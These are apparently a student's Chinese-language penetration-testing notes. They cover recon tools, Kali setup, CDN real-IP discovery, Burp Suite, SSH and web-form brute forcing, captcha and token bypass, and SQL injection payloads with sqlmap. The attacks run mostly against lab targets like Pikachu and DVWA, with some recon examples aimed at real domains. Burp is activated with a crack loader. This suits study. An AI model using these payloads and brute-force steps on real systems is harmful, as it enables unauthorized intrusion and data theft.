渗透与防御技术

工具总结

一、资产收集

1、GOBUSTER

​ ali Linux默认安装的一款暴力扫描工具。

2、ksubdomain

​ 基于无状态子域名爆破工具

3、oneforall

​ 功能强大的子域收集工具

4、dirsearch

​ 基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口,查看是否存在隐藏目录

5、feroxbuster

​ 目录探测工具,用暴力结合字典在目标目录中搜索未链接的内容

6、masscan

​ 号称是目前是最快的互联网端口扫描器

7、nmap

​ 主要面向服务器端口开放情况探测、端口服务指纹识别、以及漏洞探测

8、nikto

​ Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描

二、暴力破解

1、medusa

​ 是一款开源的暴力破解工具,支持多种协议的密码破解

2、Hydra

​ 自动化的爆破工具

三、漏洞检测

1、searchsploit

​ 存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库

2、nikto

​ 轻量化的漏洞探测工具

wfuzz

四、提权

1、linpeas

​ 全平台系统提权辅助工具

Kali操作系统的基本配置和使用

一、安装

下载KALI操作系统
https://www.kali.org/get-kali/

二、修改root

sudo passwd

三、基本工具介绍

  • 信息搜集工具集:
    • 主要面向网路、端口、服务识别、web指纹等一系列目标信息探测类的工具,常用工具有nmap masscan gobuster (zmap OneForAll)
  • 漏洞分析工具集:
    • 主要面向漏洞的发现、漏洞分析类的工具,漏洞主要面向系统、web、网络设备,常用的工具有 nikto
  • web程序渗透测试工具集:
    • 主要面向web进行漏洞发现、漏洞挖掘以及漏洞利用,常用的工具有burpsuite、sqlmap等,(AWVS-windows)
  • 密码攻击工具集:
    • 主要面向在线的或者离线的密码攻击,一般对远程服务进行暴力破解攻击,常用工具有medusa、john等
  • 漏洞利用工具集:
    • 主要面向渗透操、对目标进行主动或者被动的攻击,从而获得目标设备的权限,或者破坏目标,常用的工具有metasploit、beef

四、升级操作系统

  • 配置源

    vim /etc/apt/sources.list
    
  • 更新软件列表

    apt-get update  
    
  • 更新软件

    apt-get upgrade
    
  • 更新内核

    apt-get dist-upgrade 
    

五、安装SSH服务

1、命令
apt-get install openssh-server
2、修改配置文件
vim /etc/ssh/sshd_config
PermitRootLogin yes
3、配置SSH服务
ervice ssh start		#开启ssh服务
/etc/init.d/ssh start   	#开启ssh服务
/etc/init.d/ssh stop   	#关闭ssh服务
/etc/init.d/ssh restart 	 #重启ssh服务
update-rc.d ssh enable 	#自启动服务
4、测试
  • Windows连接

    ssh root@IP地址
    

    image-20220509154303532

    image-20220509154454605
5、安装相关软件
apt-get install lrzsz  		#安装ssh文件传输工具
sz 文件名    #可以将文件发送到PC端
apt-get install wordlists 		# 安装基础字典
6、问题
  • Permission denied, please try again.

    • 原因:未开启权限

    • 解决方法:

      vim /etc/ssh/sshd_config
      PermitRootLogin yes
      

自动化渗透工具介绍

  • 渗透测试“三板斧”

1、信息搜集(全面了解系统)

网络信息(DNS、IP、端口)、服务器信息(操作系统、版本、服务)、中间件(版本)、

WEB系统信息(使用技术、部署系统、数据库)、第三方软件(版本)、

社工记录(个人邮件地址、泄露账号密码、历史网站信息)

2、漏洞利用(占领根据地)

web漏洞发现、系统漏洞发现、漏洞利用、编写自动漏洞利用脚本、放置隐蔽后门(正常软件漏洞)

3、横向扩展(扩大成果,深度挖掘)

内网架构分析、攻陷信息中心和数据中心、突破认证服务器(AD域)、

内网中间人攻击(获取单点信息)、多级多点后门驻留、长期监视、深度隐蔽

DNS信息收集

  • 通过Ping服务可以探测网站有那些资产
  • 资产:设备、硬件、IP地址等

一、Kali常用域名字典

  • 安装
apt-get install dirbuster
apt-get install seclists
  • 使用
cd /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

二、GOBUSTER

  • 灵活快速,适合初级分析

  • 这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。

  • 探测域名,不参与探测服务识别

1、软件安装
apt-get install gobuster
2、使用方法
Usage:
      gobuster dns [flags]

Flags:
      -d, --domain string      #指定目标域名
      -h, --help                       #打印帮助信息
      -r,  --resolver string       #指定DNS服务器
      -c,  --showcname          #显示CNAME记录 
      -i,   --showips                  #显示域名IP
      --w,					# 指定字典,自动替换
      --t,    			# 线程
      --o 			# 导出成为文件
      --timeout duration       #设置超时时间 (默认 1s)
      --wildcard                       #DNS通配符检测(绕过泛解析)
      
# 探测时间不要超过1分钟
3、实例
gobuster dns -d douyin.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -i -t 20 -o /tmp/test.txt
image-20220509155406404 image-20220509155428404

三、ksubdomain

  • 速度比goubuster更快
  • 异步发送接受
  • 批量发送,监听接收判断

四、oneforall

  • 长期监控,对比差异
1、 🚀介绍

OneForAll是一款功能强大的子域收集工具

https://gitee.com/shmilylty/OneForAll#oneforall
2、 🎉安装步骤
  • 下载

    git clone https://gitee.com/shmilylty/OneForAll.git 
    或
    git clone https://github.com/shmilylty/OneForAll.git
    
  • 安装

    cd OneForAll/
    python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/	#kali不需要
    # requirements.txt  自动安装Python组件列表
    pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
    python3 oneforall.py --help		# 安装成功
    
  • 更新

    git stash        # 暂存本地的修改
    git fetch --all  # 拉取项目更新
    git pull         # 下载覆盖
    git stash pop    # 释放本地修改
    
3、 ✨使用演示
python3 oneforall.py --target example.com run
/tmp/OneForAll/results		# 结果路径
python3 oneforall.py --target csdn.net run

┌──(root💀yyb)-[/tmp/OneForAll/results]
└─# ls
csdn.net.csv  massdns.log  oneforall.log  result.sqlite3  temp

image-20220509175030324

五、CDN攻防对抗

1、概念

image-20220511105107622

​ CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

​ CDN的基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。
​ CDN的基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。

2、CDN查找真实IP
①、通过FOFA查询
domain="mozhe.cn"	

在通过IP查看是否有其他域名,如果有的话则为CDN

②、通过证书查询
③、查询子域名
  • 查看IP地址
④、超级Ping

多个地点Ping服务器,网站测速 - 站长工具 (chinaz.com)

⑤、nslookup
  • 有CDN
C:\Users\Yang>nslookup www.mozhe.cn
服务器:  XiaoQiang
Address:  192.168.31.1

非权威应答:
名称:    pa3f1qto.slt.sched.tdnsv8.com
Addresses:  183.204.68.74
          120.221.218.159
          183.204.1.157
Aliases:  www.mozhe.cn
          www.mozhe.cn.cdn.dnsv1.com.cn
  • 无CDN
C:\Users\Yang>nslookup www.aa.com
服务器:  XiaoQiang
Address:  192.168.31.1

非权威应答:
名称:    www.aa.com
Address:  23.74.241.217
⑥、网站邮件订阅查找
  • 在网站上给自己的账号发送邮件

  • 查看邮件详细信息

    • 163为查看信头
    • qq邮箱查看原文
    image-20220511111340760 image-20220511111401955

    通过www.mozhe.cn发送给qq.com在通过网关发送到指定邮箱

  • 如果此IP不可以直接进入,则可以修改本地Host文件,指定DNS解析

    Windows:
    C:\Windows\System32\drivers\etc\hosts
    Linux:
    /etc/hosts
    
    添加 42.193.4.222 www.mozhe.cn
    
    再次ping,则发现解析为42.193.4.222
    
  • 浏览器访问www.mozhe.cn,则绕过CDN

资产收集工具

一、Goby工具
1、工具介绍

基于资产自动识别的图形化工具,目前有免费版和红队版,支持对服务的识别和漏洞扫描

2、下载地址

https://cn.gobies.org/

3、插件安装

https://npcap.com/dist/npcap-1.60.exe

4、工具使用
image-20220509171413692 image-20220509171620660 image-20220509171658461

端口服务信息收集

一、🥪Nmap介绍

  • 主要面向服务器端口开放情况探测、端口服务指纹识别、以及漏洞探测

二、🥩安装

apt-get install nmap

三、🍿使用方法

端口探测:
    nmap 192.168.11.0/24  探测本地网络24掩码网段端口开放情况
    -sC 进行脚本探测
    -sV 对服务进行版本识别
    -vv 显示更多的过程日志
    -p- 全端口探测 等同于 -p 1-65535   -p 123,222,111-222
    -Pn 无需ping通直接探测
    -n   不进行IP反解析
    --min-rate 2000  进行最小传输带宽配置

作业二:
探测内网IP端口开放情况,并进行分析
nmap -sC -sV 192.168.52.1 -vv --min-rate=2000 -Pn -n 

四、🍖演示

┌──(root💀yyb)-[~]
└─# nmap 192.168.184.133 -sC -sV  -p 22 -vv -n

Web的指纹分析

一、Web服务器的类型

  • 更改网页大小写,确定是Winodws还是Linux
    • 如果出现404,则代表使用的是Linux服务器
    • 如果可以正常返回,大概率为Winodws

二、Web中间件

  • tomcat
  • apache
  • iis
  • nginx

三、Web使用的语言

  • php(apache)

  • jsp(tomcat)

  • aspx(iis - Winodws)

  • js

  • python

  • 可以利用index加后缀来判断

四、Web系统的类型

  • thinkphp
  • dedecms

五、Web目录、隐藏的页面文件

五、Web目录、隐藏的页面

Web漏洞扫描工具

一、手动漏洞扫描工具burpsuite

BurpSuite全套使用教程(超实用超详细介绍)_告白热的博客-CSDN博客_burpsuite教程

  • 浏览器访问Web服务的话,如果直接在网卡抓取数据,抓取到的数据都是加密的。
  • 所以通过Burpsuite做代理,数据经过Burpsuite转发,可以抓取到明文的数据
  • 也可以重发数据包,修改数据,做为测试使用
1、安装Java14
  • 检查是否安装了Java环境

    java -version
    
  • 将java14 解压缩到C盘目录下

  • 将Java的运行程序目录复制下来,配置到环境变量path中 C:\Program Files\jdk-14.0.2\bin

  • image-20220510160214300

2、注册burpsuite
  • 在Burpsuite目录下打开开cmd

  • 在命令行下执行 java -jar Loader.jar

    image-20220510160322460
  • 双击burp.bat 打开软件

  • 拷贝生成的序列号到burpsuite主程序注册页面中

    image-20220510160655735
  • 然后选择手工激活,拷贝第二段注册码粘贴到loader中

  • 然后在loader中拷贝第三段序列号,添加到burpsuite主程序中,然后激活

  • 激活成功后,在进入软件,则不需要之前的激活步骤了

    image-20220510160721387
  • 注意

    • 关闭截断

    image-20220510162609122

3、安装Firefox
  • 安装proxy插件(foxyproxy)
    • 配置一个代理,然后测试是否可以与burpsuite联动
4、安装证书
  • 在代理模式下,访问http://127.0.0.1:8080
  • 下载证书
  • 在浏览器中添加证书信任
5、测试
image-20220510162537785

Web漏洞靶场环境搭建

一、PHPStudy

1、官方网址

https://www.xp.cn/

2018版本

2、安装
  • 下载PHPStudy

  • 下载运行库

    • Vc09
    • Vc11
    • Vc14
  • 启动

    image-20220511113008380

网络都设置为允许访问

  • 访问127.0.0.1

    image-20220511113104644
3、配置靶机
  • 部署DVWA和pikachu
①、配置pikachu
D:\GongJu\phpStudy\PHPTutorial\WWW
建立文件夹防止默认文件
将DVWA和pikachu解压到此文件夹
image-20220511113449405
此时访问127.0.0.1会发现没有内容
配置PHPStudy
image-20220511113633299

image-20220511113752153

初始化pikachu
D:\GongJu\phpStudy\PHPTutorial\WWW\pikachu\inc\config.inc.php
配置数据库密码
root
root
image-20220511114147709 image-20220511114232347

测试:如果查询成功,则证明成功连接

②、配置DVMA
D:\GongJu\phpStudy\PHPTutorial\WWW\DVWA\config
Copy一份config.inc.php,并去掉后缀,编辑Copy后的文件
修改账号密码

image-20220511114720191

image-20220511114806482
配置为Enable
修改配置
allow_url_include = On
重启后才会生效

image-20220511114954697

登录
root
password
image-20220511115140658
4、修改
  • 修改端口

    image-20220511163725044

Web数据包结构讲解

一、请求方法

1、GET
GET /Pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: 192.168.184.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.184.1/Pikachu/
Cookie: PHPSESSID=n4pbq7kea30043g29bdqm7iar7
Upgrade-Insecure-Requests: 1
2、POST
POST /Pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: 192.168.184.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://192.168.184.1
Connection: close
Referer: http://192.168.184.1/Pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=n4pbq7kea30043g29bdqm7iar7
Upgrade-Insecure-Requests: 1

包含登录信息
username=admin&password=123456&submit=Login		
3、区别

参考:https://www.runoob.com/tags/html-httpmethods.html

4、重发操作
image-20220511165746661

二、发送数据

  • ​ 请求方法: GET POST PUT
  • URL:访问网站的页面
  • HOST: 主机网络地址 可能是IP 可能是一个域名
  • User-Agent:浏览器特征
  • Referer:网页跳转来源
  • Cookie: 一般会保存登录状态信息
  • Body:在post请求方法下,传输参数的位置

三、接收数据

  • ​ 状态码:200 404 301 302 500
    • https://www.cnblogs.com/cjwxf/p/6186287.html
  • body:返回的html代码

Burpsuite使用

一、模块介绍

1、Dashboard(仪表盘)
  • Tasks(会话)
  • Log(日志)
  • Issue(漏洞提示)
2、Target(目标)
  • map(网站地图)
  • scope(范围)
  • issue(漏洞解释说明)

image-20220511170648504

image-20220511170725924

对目标进行标签化,筛选对应的目标

3、Proxy(代理模块)
  • Intercept(拦截功能)
    • 可以进行数据的拦截修改
    • 然后选择Forward或Drop
    • 形成截断----修改----发送的过程
image-20220511171130730
  • history(历史记录)

image-20220511171509270

image-20220511171605853
4、Repeater(重发模块)
  • ​ 重新修改发送参数-然后重发给服务器

    image-20220511171831583
5、Intruder(批量重发-暴力破解)
  • postitions 定义需要变化的位置
  • payload 定义具体的变化值
  • pool 配置从发策略,例如并发数、延时、超时
  • options 配置,一般不需要更改

image-20220511172153472

  • 增加变化值位置

    image-20220511172256893
  • 探测方法

    • Sniper:只有一个探测点时使用

    • Battering ram:多个探测点的时候使用(同一个字典不同位置替换相同的字符)

    • Pitchfork:多个字典替换多个位置

      • 字典1
        aaa
        bbb
        ccc
        
        字典2
        123
        456
        789
        0543
        /*
        只会匹配三条
        	字典1的第一条与字典2的第一条
        	字典1的第二条与字典2的第二条
            字典1的第三条与字典2的第三条
        */
        
    • Cluster bomb:字典一的第一个值和字典二的所有值进行匹配(笛卡尔积)

  • 指定变量值

    • Payloads

      image-20220511173138025
  • 修改速度和并发

    • Resoure pool

      image-20220511174715214
  • 演示

    • 成功爆破出密码

    image-20220511174954213

  • 可以添加关键词选项,就会多一个下拉框,添加方法和添加密码相同

6、Decoder(解码编码模块)
  • Decode:解码
  • Encode:编码
  • image-20220511175323544
7、Comparer(页面对比模块)

image-20220511175424731

image-20220511175453202 image-20220511175542071
8、Extender(扩展模块)

弱口令漏洞攻击与验证码绕过

一、基于远程服务的弱口令攻击

1、常见的易攻击服务
  • smb
  • ssh
  • rdp
  • ftp
  • proxy
  • mysql
  • sqlserver
  • oracle
2、特征
  • 远程管理服务
  • 具有账号密码验证机制
  • 没有其他防护措施
3、防护手段
  • 防火墙进行访问限制
  • 密码登录策略
  • 统一登录管理
4、攻击方法和软件
  • 探测当前网段有那些开启的IP

    netdiscover -r 192.168.184.0/24 
    
     Currently scanning: Finished!   |   Screen View: Unique Hosts                    
                                                                                      
     12 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 720                 
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     192.168.184.133 00:0c:29:a0:ad:40      4     240  VMware, Inc.                   
     192.168.184.2   00:50:56:f8:49:8c      2     120  VMware, Inc.       #网关            
     192.168.184.1   00:50:56:c0:00:08      5     300  VMware, Inc.      # 物理机             
     192.168.184.254 00:50:56:e2:fa:aa      1      60  VMware, Inc.			# 交换机默认IP
    
  • 探测端口

    nmap -sC -sV 192.168.184.133 -vv -n --min-rate=2000 
    
    # 发现开启了22端口
    Discovered open port 22/tcp on 192.168.184.133
    PORT   STATE SERVICE REASON         VERSION
    22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    
  • 攻击软件

    • Medusa的特点
      • 稳定性好
      • 速度控制得当
      • 基于线程
      • 支持模块少于Hydra(不支持RDP,可扩展)
      • WEB-Form支持存在缺陷
    • Hydra的缺点(相对)
      • 稳定性差,程序时常崩溃
      • 速度控制不好,容易触发服务屏蔽或锁死机制
      • 每主机新建进程,每服务新建实例
      • 大量目标破解时性能差
5、Medusa
  • 语法

    medusa -M smbnt -h 192.168.1.100 -u Eternal -P pass.lst -e ns -F -v 3
    
    -M: 表示你要破解的类型,协议。
    -h:目标机器地址。
    -u:用户名。
    -U:指定账号字典
    -p:指定密码
    -P:指定密码字典
    -e : 尝试空密码。
    -F:破解成功后立即停止破解。用于同时扫描多个主机时,停止破解
    -v:显示破解过程。
    -t:指定线程
    
    
    通过medusa –d 查看支持的服务类型
    -q:显示支持那些探测
    
  • 演示

    • 创建密码字典

      vim /tmp/passwd.txt
      
    • 对SSH进行破解

      ┌──(root💀yyb)-[/tmp]
      └─# medusa -M ssh -h 192.168.184.133 -u yikjiang -P /tmp/passwd.txt -F -t 10
      Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
      
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 0 complete) Password: 123123 (1 of 8 complete)
      # 破解成功
      ACCOUNT FOUND: [ssh] Host: 192.168.184.133 User: yikjiang Password: 123123 [SUCCESS]
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: password (2 of 8 complete)
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: asd (3 of 8 complete)
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: passwd (4 of 8 complete)
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: iloveyou (5 of 8 complete)
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 123456 (6 of 8 complete)
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 12345678 (7 of 8 complete)
      ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 123 (8 of 8 complete)
      

      kali中也默认带了许多字典,路径为/usr/share/seclists/Passwords

6、Hydra(九头蛇)
  • 语法

    -l 指定用户名
    -L 用户名字典
    -p 指定密码
    -P 密码字典
    协议
    
  • 演示

    image-20220512164638085

    密码高亮,且不显示其他错误密码

二、基于Web登录的弱口令攻击

1、基于表单的暴力破解
  • 抓取登录数据包,分析账号密码位置

    image-20220512170700484
  • 进入暴力破解模块,配置探测位置,字典,然后开始攻击

    • 添加标志

      image-20220512171452641 image-20220512171508088
2、基于客户端的验证码绕过
①、检查发送数据包中的账号、密码等信息发现没有获取数据包
  • 如果验证码输入错误没有截取到数据包,证明在本地验证
  • 本地验证码输入错误的话,就不向服务器发送数据包
  • ctrl+u查看网页源代码
②、方法一

使用JS控制插件,禁止JS运行

  • Script Blocker Ultimate

image-20220512174431342

③、方法二

直接输入正确的验证码,然后抓到数据包,直接进行暴力破解

image-20220512173239645

由于删除了验证码模块,所以步骤同表单破解

③、方法三

绕过方法二:可以通过burpsuite自动修改全段代码,绕过验证机制

function validate() {
    var inputCode = document.querySelector('#bf_client .vcode').value;
    if (inputCode.length <= 0) {
    alert("请输入验证码!");
    return false;
    //改为else if (1 = 2)让JS失效
    //也可以改为lse if (1 == 2)让值为False
    } else if (inputCode != code) {		
    alert("验证码输入错误!");
    createCode();//刷新验证码
    return false;
    }
    else {
    return true;
    }
image-20220512175113672

image-20220512175632629

3、基于服务器验证码的绕过
①、检查发送数据包中的账号、密码、验证码位置
  • 抓取images

    image-20220512180353878

  • 抓包检测

    image-20220512180524927

    发现每次登录向服务器提交登录信息并获取新的验证码,所以可以把登录信息提取出来单独发送登录信息

②、通过重发登录数据包,观察验证码是否失效
  • 将登录信息提取出来以后,验证码输入之前正确的验证码
  • 然后进行暴力破解

image-20220512180847724

③、如果不失效,我们可以直接使用最新的验证码,通过暴力破解模块进行批量探测

image-20220512181032681

4、基于token的绕过
  • 通过抓包,发现传输数据中有一个token参数,并且每次传输,token值都不一样

    image-20220513162526259

  • 观察返回页面的代码,发现token值,每次发送登录数据包的时候,都会携带当前页面中的token值

    image-20220513162608968

  • 通过intruder,选择需要密码和token两个需要探测的的位置

    image-20220513163608911

  • Positions 中设置attack type 为 pitchfork(一对一模式)

    image-20220513164424985

  • 然后进入options ->Grep extract->add,找到token的值,然后划上,这时候工具将为我们自动生成正则匹配语句

    image-20220513164246395
  • 进入payload模块,设置payload1 为密码列表,设置payload2 为 recursive grep模式

    image-20220513164548705

    因为程序逻辑原因,所以第一个值获取不到对应的token,所以一般情况下将密码列表第一个字符设置为空格

  • 然后,进入resource pool,新建一个策略,将maximum concurrent requests 设置为1,意思是并发数为1

image-20220513164622197

因为token的值是唯一的,所以token不可以并发操作

  • 然后我们点击攻击按钮,开始破解

    image-20220513165042048
5、基于验证码的识别绕过
  • 首先部署dedecms系统

    image-20220513170143834

    后台管理为:/dede/

  • 抓包测试一下,验证码是否失效,结果是无法进行绕过

    验证码每次刷新界面都会失效,所以不可以采取单独发送请求的方式

    image-20220513170908232

    此时就无法使用之前的方法破解,只可以自动识别

  • 分析验证码的URL,并在PKav工具图形验证码识别模块中进行配置和测试

    • 验证码地址可以为复制图片地址或者抓包中提取

    image-20220513173155903

  • 设置重放配置:

    • 验证码固定长度

      image-20220513173630945

    • 返回数据处理->重试规则,配置字符串为验证码错误的文本特征

      image-20220513200651644

    • 将返回的数据中匹配如下表达式时重试的框点上,使配置生效

      image-20220513174142882
  • 然后进行攻击

    image-20220513180503599

  • Codex方式

    image-20220513180924280

image-20220513181054285

SQL注入原理与应用

一、概念

  • SQL语句基本查询
select id,level from users where username = 'test'
  • SQL注入产生的原因
    • 我们将变量传输给应用,应用程序并未做任何校验或者处理,就直接将变量带入到SQL语句中(SQL语句模板)
    • 我们构造的SQL注入语句可以让数据库成功处理数据,并返回结果

二、字符型注入

1基于and语句,校验是否有漏洞

方法一:
kobe' and 1=1 --返回数据类型
kobe' and 1=2 --不返回数据
方法二:
kobe '  --也可以判断,因为如果注入成功的话则会报错
方法三:
kobe' or 1=1# --返回所有数据
kobe' or 1=2# --返回一条数据或者不返回数据

证明存在SQL注入漏洞

三、数字型注入

基于加减运算方式,检验是否有漏洞

输入5返回kevin
输入6返回lucy
输入6-1返回kevin

字符型的判断方法可以用于数字型注入判断特殊情况,在HTTP代码中"+"等同于空格

证明存在SQL注入漏洞

四、读取数据库的数据-获取所有账号密码信息

1、检查是否存在注入点

image-20220514183039069

image-20220514183121299

判断输入的数据是否会对数据库有影响

2、猜测列数

order by x:按照第x列进行排序

kobe' order by 2#  -- 正常返回
kobe' order by 3#  --返回错误信息

证明SQL存在两行回显信息

image-20220514183759933

image-20220514183808792

3、使用联合语句判断回显位置

可能存在服务器返回多个数据但是浏览器只显示部分数据的情况,所以进行判断,确定回显位置

确定了回显的位置的时候,就可以查询内置函数,提取信息

kobe' union select 'aaa','bbb'#  --查看回显的位置

-- 如果只回显一行的话,可以输入一个不存在的账号
ccc' union select 'aaa','bbb'#  --查看回显的位置

注意:UNION内部的SELECT语句必须拥有相同数量的列

  • 方法一

image-20220514184506468

  • 方法二

    image-20220514184947151

4、判断数据库基本信息
kobe' union select version(),222#	--查看当前数据库的版本
kobe' union select database(),222#  --查看当前数据库的名称

kobe' union select database(),version()#

通过了解数据库的版本,可以进行下一步操作

image-20220514184635531

如果MySQL版本大于5.0.0,那么库中存在一个系统信息表information_schema,记录了所有的数据表结构信息

5、获取数据库表信息
  • 表结构
ccc' union select 'aaa',table_name from information_schema.tables where table_schema = 'pikachu'#
-- ccc为了防止只显示第一行
-- group_concat(table_name)可以将多个输出结果合并为一列
ccc' union select 'Yang',group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'#

image-20220514192148124

image-20220514192511412

  • 列结构
aaa' union select 'Yang',group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = 'pikachu'#
-- table_schema = 'pikachu' 使得结果更加准确

image-20220514214447044

6、获取数据信息
ccc' union select username,password from pikachu.users#
ccc' union select group_concat(username),group_concat(password) from pikachu.users#

image-20220515194121241

五、SQL盲注原理与利用方法

  • 当数据库信息不回显的时候使用
1、判断是否存在注入点
kobe' and 1=1# --正常返回结果
kobe' and 1=2# --返回空结果
2、测试是否注入成功,并测试是否回显数据
yang' union select database(),'yang'#  --提示成功,但是没有回显信息,所以采用盲注的方式
3、盲注测试数据库名称
  • 方法一

    • 采用抓包的方式使用Burpsuite暴力破解
  • 方法二

    • 获取数据库长度
        kobe' and length(database())>2#  --返回正确
    kobe' and length(database())>7#	 --返回正确
    kobe' and length(database())<7#  --返回错误
    

    得出数据库长度为7

    • 猜测单个字符的ASCII码
    kobe' and (select ascii(substr(database(),1,1))) > 100# --正确
    kobe' and (select ascii(substr(database(),1,1))) = 120# --正确
    
4、盲注表名猜测
kobe' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')) > 1#     --猜测结果长度
kobe' and substr((select group_concat(table_name) from information_schema.tables where table_shema='pikachu'),1,1) = 'a'  -- 单字符模式猜测和ASCII模式都可以
  • 盲注列名猜测同理
  • 数据猜解使用sqlmap工具自动化漏洞探测与数据挖掘

六、sqlmap使用

1、工具介绍

一款针对SQL注入的自动化漏洞探测和数据挖掘的工具

2、基本命令
sqlmap -h #查看帮助信息,也可使用-hh查看详细信息
-u    #指定探测目标的URL
--cookie    #指定cookie信息
--data     #指定post信息
-r		# 指定一个发送数据包
-D		# 指定数据库名称
-T			# 指定表名
-C		# 指定列名
--proxy   # 通过代理发送数据
--technique   #选择类型和模式
	B:布尔类型
--string  	#指定结果为True时的返回值
--not-string 	#指定结果为False时的返回值
--threads      #增加速度和线程,不可超过10

注意:使用的IP地址不能是127.0.0.1

3、探测目标是否存在注入漏洞
image-20220515170534896
sqlmap -r 111.txt

111.txt为Burpsuite抓取的内容

4、获取数据库名称
sqlmap -r 111.txt --dbs
5、获取数据库表信息
sqlmap -r 111.txt -D pikachu --tables
6、普通注入实验操作
  • 检测是否存在漏洞
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080

image-20220515171630629

 sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent    # 添加随机的User-Agent,可以绕过部分防火墙

image-20220515171643127

第二次速度明显加快,因为存在缓存文件,文件位置/root/.local/share/sqlmap/output/192.168.184.1

  • 获取数据库名字
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent --dbs

-----------------------------------------------------------------------------------
[17:19:15] [INFO] fetching database names
available databases [8]:
[*] dedecmsv57utf8sp2
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] test
  • 获取数据表信息
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu --tables

---------------------------------------------------------------------------------------------
[17:21:56] [INFO] fetching tables for database: 'pikachu'
Database: pikachu
[5 tables]
+----------+
| member   |
| httpinfo |
| message  |
| users    |
| xssblind |
+----------+
  • 获取数据表列信息
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu -T users --columns

---------------------------------------------------------------------------------------------
[17:23:19] [INFO] fetching columns for table 'users' in database 'pikachu'
Database: pikachu
Table: users
[4 columns]
+----------+------------------+
| Column   | Type             |
+----------+------------------+
| level    | int(11)          |
| id       | int(10) unsigned |
| password | varchar(66)      |
| username | varchar(30)      |
+----------+------------------+
  • 获取内容
